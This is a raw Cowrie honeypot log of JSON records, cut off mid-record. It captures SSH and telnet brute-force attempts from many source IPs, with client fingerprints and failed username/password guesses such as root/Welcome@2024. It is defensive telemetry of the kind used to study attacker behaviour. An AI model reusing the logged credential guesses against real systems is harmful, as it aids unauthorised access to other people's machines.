{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:9b:24:63:f7:0b:9a:02:b5:c6:54:27:e5:9a:9a:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPbsC+8KdQFUZZrSdwEQ9jcJhCx/9qZaYpcD72fj2rT5BwjBuWielvymjIYdR53ZFFJYTLCzzWGnL/Xy8RVFNkXWT1L3utMCuvpw0Ef9fKL/zv7OeqtHlBCP5p2G6LyRlhd4NdJ7RD7IfvAMYovcIJ5otkEphXOaQOjHRJtdFXMNVOiFZVXVIYXxbb+fZbmCmYRLpMFWK8Pqv/i+iTpgSr14x/bACqj72giV/yAqJuklfxQ8xCXtCNRBmNtSkeWwyfs/9ql+37u+eAdhG7T3FEL5UdWPtZ+p7b8EJPnCmUJAF3CRmlR+FEeUP0WmGvYeaRZIIDnOBr8Nt48dxrnuMf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.471538Z","src_ip":"68.235.62.179","session":"f65b4f8cf36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.512458Z","src_ip":"68.235.62.179","session":"f65b4f8cf36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00650405883789,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:13.599640Z","src_ip":"186.55.200.230","session":"37268a06af35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":51766,"dst_ip":"159.203.135.109","dst_port":23,"session":"72b21d587e49","protocol":"telnet","message":"New connection: 186.55.200.230:51766 (159.203.135.109:23) [session: 72b21d587e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:16.548272Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":51800,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ee3f85a4c01","protocol":"telnet","message":"New connection: 186.55.200.230:51800 (159.203.135.109:23) [session: 7ee3f85a4c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:18.536422Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":56260,"dst_ip":"159.203.135.109","dst_port":22,"session":"a19f84208617","protocol":"ssh","message":"New connection: 89.108.118.91:56260 (159.203.135.109:22) [session: a19f84208617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:18.548533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:18.554589Z","src_ip":"89.108.118.91","session":"a19f84208617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:18.686785Z","src_ip":"89.108.118.91","session":"a19f84208617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkfl","message":"login attempt [root/dkfl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:19.082653Z","src_ip":"89.108.118.91","session":"a19f84208617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:20.217596Z","src_ip":"89.108.118.91","session":"a19f84208617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":51820,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f29cf31bd12","protocol":"telnet","message":"New connection: 186.55.200.230:51820 (159.203.135.109:23) [session: 5f29cf31bd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:20.604520Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.190.156.8","src_port":58768,"dst_ip":"10.17.0.5","dst_port":22,"session":"362eadfa5ad3","protocol":"ssh","message":"New connection: 89.190.156.8:58768 (10.17.0.5:22) [session: 362eadfa5ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:20.724679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:20.734650Z","src_ip":"89.190.156.8","session":"362eadfa5ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:20.815283Z","src_ip":"89.190.156.8","session":"362eadfa5ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"12345","message":"login attempt [teamspeak/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:21.174251Z","src_ip":"89.190.156.8","session":"362eadfa5ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:22.258660Z","src_ip":"89.190.156.8","session":"362eadfa5ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":52768,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e50e00a6ef9","protocol":"ssh","message":"New connection: 45.165.238.2:52768 (10.17.0.5:22) [session: 0e50e00a6ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:25.859585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:25.864936Z","src_ip":"45.165.238.2","session":"0e50e00a6ef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:25.997232Z","src_ip":"45.165.238.2","session":"0e50e00a6ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.107.156.227","src_port":42871,"dst_ip":"10.17.0.5","dst_port":22,"session":"d952e75192a0","protocol":"ssh","message":"New connection: 222.107.156.227:42871 (10.17.0.5:22) [session: d952e75192a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:26.323628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:26.329096Z","src_ip":"222.107.156.227","session":"d952e75192a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:26.528854Z","src_ip":"222.107.156.227","session":"d952e75192a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:26.556274Z","src_ip":"45.165.238.2","session":"0e50e00a6ef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userm","password":"1qq2w3e4r5t","message":"login attempt [userm/1qq2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:27.361269Z","src_ip":"222.107.156.227","session":"d952e75192a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:27.688801Z","src_ip":"45.165.238.2","session":"0e50e00a6ef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:28.564378Z","src_ip":"222.107.156.227","session":"d952e75192a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":50430,"dst_ip":"10.17.0.5","dst_port":22,"session":"13716d98d0a6","protocol":"ssh","message":"New connection: 20.203.42.204:50430 (10.17.0.5:22) [session: 13716d98d0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:29.944522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:29.949849Z","src_ip":"20.203.42.204","session":"13716d98d0a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:30.106789Z","src_ip":"20.203.42.204","session":"13716d98d0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gf","password":"gf","message":"login attempt [gf/gf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:30.763437Z","src_ip":"20.203.42.204","session":"13716d98d0a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:31.923440Z","src_ip":"20.203.42.204","session":"13716d98d0a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":41050,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb2afa7aa7ab","protocol":"ssh","message":"New connection: 186.246.14.196:41050 (159.203.135.109:22) [session: cb2afa7aa7ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:32.685902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:32.690982Z","src_ip":"186.246.14.196","session":"cb2afa7aa7ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:32.857698Z","src_ip":"186.246.14.196","session":"cb2afa7aa7ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@2024","message":"login attempt [root/Welcome@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:33.550331Z","src_ip":"186.246.14.196","session":"cb2afa7aa7ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:34.717031Z","src_ip":"186.246.14.196","session":"cb2afa7aa7ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":50216,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0d37738951b","protocol":"ssh","message":"New connection: 186.233.118.22:50216 (159.203.135.109:22) [session: c0d37738951b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:40.352416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:40.357486Z","src_ip":"186.233.118.22","session":"c0d37738951b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:40.476336Z","src_ip":"186.233.118.22","session":"c0d37738951b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcv1234.","message":"login attempt [root/Zxcv1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:40.980747Z","src_ip":"186.233.118.22","session":"c0d37738951b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.118.145","src_port":44948,"dst_ip":"159.203.135.109","dst_port":22,"session":"514e8f851e98","protocol":"ssh","message":"New connection: 14.103.118.145:44948 (159.203.135.109:22) [session: 514e8f851e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:42.006627Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:42.103635Z","src_ip":"186.233.118.22","session":"c0d37738951b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.127.104","src_port":43698,"dst_ip":"10.17.0.5","dst_port":22,"session":"b86f57455555","protocol":"ssh","message":"New connection: 213.230.127.104:43698 (10.17.0.5:22) [session: b86f57455555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:57.193297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:57.198097Z","src_ip":"213.230.127.104","session":"b86f57455555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-